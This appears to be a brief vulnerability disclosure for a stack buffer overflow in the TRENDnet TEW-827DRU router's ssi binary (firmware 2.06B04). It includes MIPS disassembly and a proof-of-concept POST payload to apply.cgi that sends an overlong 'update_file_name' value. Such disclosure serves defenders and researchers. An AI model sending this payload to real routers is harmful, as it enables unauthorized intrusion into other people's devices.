TEW-827DRU

Firmware version

```
TEW-827DRU firmware: 2.06B04
```

Description

```
TRENDnet TEW-827DRU with firmware up to and including 2.06B04 contains a stack-
based buffer overflow in the ssi binary. The overflow allows an authenticated
user to execute arbitrary code by POSTing to apply.cgi via the action auto_up_lp
with a sufficiently long key 'update_file_name'.
```

Detial

```
The bug in function: 0x441878, binary: www/cgi/ssi
The parameter 'update_file_name' pass to sprintf
```

```
                        nop
00441918                addiu   $s0, $v0, (aTmpS - 0x4D0000)  # "/tmp/%s"
0044191C                la      $v0, off_4D0000
00441920                nop
00441924                addiu   $a0, $v0, (aUpdateFileName - 0x4D0000)  # "update_file_name"
00441928                la      $v0, getenv
0044192C                nop
00441930                move    $t9, $v0
00441934                jalr    $t9 ; getenv
00441938                nop
0044193C                lw      $gp, 0xB0+var_A0($fp)
00441940                addiu   $v1, $fp, 0xB0+var_94
00441944                move    $a0, $v1          # s
00441948                move    $a1, $s0          # format
0044194C                move    $a2, $v0
00441950                la      $v0, sprintf
00441954                nop
00441958                move    $t9, $v0
0044195C                jalr    $t9 ; sprintf
```

Send Packege

```
    payload = 'A'*0x100
    data = {
        b'action': b'auto_up_lp',
        b'update_file_name': payload,
    }
```